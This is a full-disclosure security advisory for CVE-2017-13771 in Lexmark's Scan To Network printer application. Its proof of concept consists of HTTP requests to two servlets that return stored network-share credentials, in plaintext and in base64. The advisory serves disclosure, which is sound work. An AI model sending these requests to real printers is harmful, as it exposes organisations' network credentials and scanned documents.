Summary ======= 1. Information exposure of network credentials in embedded printer application (CVE-2017-13771) Vendor ====== "Lexmark creates innovative imaging solutions and technologies that help customers worldwide print, secure and manage information with ease, efficiency and unmatched value. Combining innovative technologies with deep industry expertise, Lexmark simplifies the complex intersection of digital and printed information in retail, financial services, healthcare, manufacturing, education, government and more." [1]. Tested version ============== Lexmark Scan To Network (SNF) application <= 3.2.9 Vulnerabilitiy and PoC ======================= "The Embedded Scan to Network solution is an embedded Java application that is installed as a flash file on multifunction printers (MFPs) which support the Lexmark Embedded Solutions Framework (LeSF). It allows users at the printer to scan their documents to network destinations specified by the network administrator" [2]. Scan To Network application supports the configuration of network credentials and if used they will be stored in plaintext and transmited in every request to the configuration tab. The next request should be made to get plaintext credentials that could be used later to escalate privileges in the network or get access to scanned documents: POST https://host/cgi-bin/direct/printer/prtappauth/apps/snfDestServlet HTTP/1.1 Host: host Content-Type: multipart/form-data; boundary=----boundary Content-Length: 181 ------boundary Content-Disposition: form-data; name="dests" scanToNet.factory.0 ------boundary Content-Disposition: form-data; name="editButton" Edit... ------boundary-- HTTP/1.1 200 OK ... ... <span id="cifs.uName"> <span class="header">Username:</span> <input type="text" name="cifs.uName" value="TEST" class="control" maxlength="256"></input> <span id="cifs.pwd"> <span class="header">Password:</span> <input type="password" name="cifs.pwd" value="TEST123" class="control"></input> It is possible to have too a base64-encoded password from application configuration export functionality: GET https://host/cgi-bin/direct/printer/prtappauth/apps/ImportExportServlet?exportButton=clicked HTTP/1.1 Host: host HTTP/1.1 200 OK ... ... esf.cifs.inst.1.cifs.uName "TEST" esf.cifs.inst.1.cifs.pwd "VEVTVDEyMw==" Timeline ======== 19/05/2017: Vendor is notified through security email 30/08/2017: No response from vendor, CVE assigned, full disclosure [1] https://www.lexmark.com/en_us/about/company.html [2] http://support.lexmark.com/library/LEXMARK/primus/files/PATTLNK_8312007_1530-AdminGuide.pdf